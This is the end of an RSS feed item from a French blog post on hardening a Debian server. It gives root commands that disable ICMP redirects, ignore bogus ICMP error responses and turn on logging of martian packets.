<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># echo &quot;0&quot; &gt; /proc/sys/net/ipv4/conf/all/accept_redirects<br />
# echo &quot;0&quot; &gt; /proc/sys/net/ipv4/conf/all/secure_redirects</div></td></tr></tbody></table></div>
<p><strong>Bad error messages</strong></p>
<p>Eviter le log des paquets icmp erroné:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># echo &quot;1&quot; &gt; /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses</div></td></tr></tbody></table></div>
<p><strong>Log Martians</strong></p>
<p>Active le logging des packets aux adresses sources falficiées ou non routable:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># echo &quot;1&quot; &gt; /proc/sys/net/ipv4/conf/all/log_martians</div></td></tr></tbody></table></div>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/securiser-sa-debian-15/feed/</wfw:commentRss>
<slash:comments>1</slash:comments>
</item>
</channel>
</rss>
<!-- Served from: www.crashdump.fr @ 2012-05-18 13:35:29 by W3 Total Cache -->
